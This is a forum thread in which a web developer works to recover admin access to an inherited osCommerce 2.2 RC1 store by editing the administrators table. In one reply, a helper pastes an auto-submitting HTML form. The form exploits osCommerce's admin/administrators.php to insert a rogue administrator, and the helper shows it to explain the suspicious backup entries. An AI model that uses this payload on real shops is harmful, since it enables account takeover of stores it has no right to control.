36 replies to this topic

[esm]

Hi,

I have taken over a screwed up website with an osCommerce shopping cart. The original designer has vanshed and with him the admin login info. Is there any way to recover this info somewhere?

Thanks,

Ed

[web-project]

esm, on 07 January 2011, 22:04, said:

Hi,

I have taken over a screwed up website with an osCommerce shopping cart. The original designer has vanshed and with him the admin login info. Is there any way to recover this info somewhere?

Thanks,

Ed

which version of oscommerce application?

[website-security]

esm, on 07 January 2011, 22:04, said:

Hi,

I have taken over a screwed up website with an osCommerce shopping cart. The original designer has vanshed and with him the admin login info. Is there any way to recover this info somewhere?

Thanks,

Ed

If it is an old version you will have to change the password in the .htaccess file in the admin directory.

If it is a new version you will have to reset it from the database. Here is an useful video:

http://www.clubosc.com/forgotten-your-admin-password-shock-horror.html

[geoffreywalton]

To change passwords that pop up before the shop admin is even displayed is via the file manager and permissions in your web hosting admin pages.

If you have a login on your OS Commerce admin page you can either delete all the administrators in the data base or install one of forgotten password add-ons.

Failing that google

site:forums.oscommerce.com lost password

or

site:forums.oscommerce.com forgotten password

HTH

G

[esm]

The version is 2.2.RC1.

Is this considered an old version or a new one?

Thanks,

Ed

[esm]

Guys,

Here's an update:

I accessed php/myAdmin and emptied the administrator table.

Then I created a new administrator but when I attempt to login with the new user name/password, I get an "invalid attempt" error message. Looking into the administrator table again, I see the encrypted password but the user name field is blank.

What am I doing wrong here?

Thanks,

Ed

[Xpajun]

Empty the table completely then go to your "admin" login you should be presented with a page telling you there are no administrators and inviting you to name a user and password

[esm]

That's exactly what I did! See post #6

[Procommerce]

What did you write in the password field???

Leave it empty or place a known string, from a site you know the password...

[esm]

Why would I leave the password field empty?

When I create an administrator, it needs a password, right?

Checking the administrator table, the password (encrypted) is there but no user name.

On another note, I checked the admin bak table and there are over a dozen entries. Can they be deleted?

[Procommerce]

Well you should leave it empty so you can login and then put another one....

Complete the table with a username...

Regarding the dozen entries in the backup table, well, thats a hack.....

<form method="post" action="http://127.0.0.1/oscommerce/admin/administrators.php?action=insert">
<input type=hidden name="username" value="r00t" />
<input type=hidden name="password" value="r00ted" />
<input type=hidden name="x" value="16" />
<input type=hidden name="y" value="13" />
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>

So, Esm, if you didnt load them, delete them for sure... they constitute the entry for the hacker/s who planted them...

But really, with NO intention of making a client from you, what is your Security status regarding your site??

Did you run the patches yet? Change the admin directory an so on??

[esm]

Okay, here's what I did, according to your instructions:

I emptied the bak table.

I emptied the administrator table.

Then I tried to create an administrator: I entered a user name, left the pw field blank and hit enter. Then I tried to login withe the new user name and entered a password. Result: Invalid login.

What in the world am I doing wrong here?

Thanks for your assistance, I really appreciate that.

Ed

[Procommerce]

Can you check on the admin/.htaccess content pls?

[esm]

Here's the content of the admin/.htaccess file:

# $Id: $
#
# This is used with Apache WebServers
#
# For this to work, you must include the parameter 'Options' to
# the AllowOverride configuration
#
# Example:
#
# <Directory "/usr/local/apache/htdocs">
# AllowOverride Options
# </Directory>
#
# 'All' with also work. (This configuration is in the
# apache/conf/httpd.conf file)

# The following makes adjustments to the SSL protocol for Internet
# Explorer browsers

#<IfModule mod_setenvif.c>
# <IfDefine SSL>
# SetEnvIf User-Agent ".*MSIE.*" \
# nokeepalive ssl-unclean-shutdown \
# downgrade-1.0 force-response-1.0
# </IfDefine>
#</IfModule>

# If Search Engine Friendly URLs do not work, try enabling the
# following Apache configuration parameter

# AcceptPathInfo On

# Fix certain PHP values
# (commented out by default to prevent errors occuring on certain
# servers)

# php_value session.use_trans_sid 0
# php_value register_globals 1

[BryceJr]

Give >>this a shot.

[Procommerce]

If the qwery doesnt work, will have to asume that the files inside your admin are corrupted....

Do you have a clean copy around to upload?

[esm]

Bryce,

Ran the query exactly how you described but it didn't work. I can set up a new administrator but when I try to login after that, it's invalid.

When I "browse" the administrators table I see a hash in the password field but the user name field is blank. For some reason the user name is not entered into the administrators table.

As to a clean copy, my customer had purchased an osC template years ago from Template Monster. He's buying the same template for a more recent osC version for loading up.

Would that solve this problem?

Thanks for all the help.

Ed

[Procommerce]

Can you give us the error information on the query?

What about Droping the table in a first query and then trying to create it again with the provided data (without the if exists lines... )

[esm]

There is NO error message on the query. The query works fine.

The creation of the first administrator does not work correctly. I enter a user name and a password and the administrator is created. After that, when I try to log in for the first time, I get an invalid login attempt message. When I check the administrators table, I see a hash for the password but the user name field is blank. The user name is not entered into the administrators table. That seems to be the problem.

[andy_1984]

esm, on 14 January 2011, 15:46, said:

There is NO error message on the query. The query works fine.

The creation of the first administrator does not work correctly. I enter a user name and a password and the administrator is created. After that, when I try to log in for the first time, I get an invalid login attempt message. When I check the administrators table, I see a hash for the password but the user name field is blank. The user name is not entered into the administrators table. That seems to be the problem.

weird, have you tried to edit the username in phpmyadmin. seems the post information got lost during the creation of the account.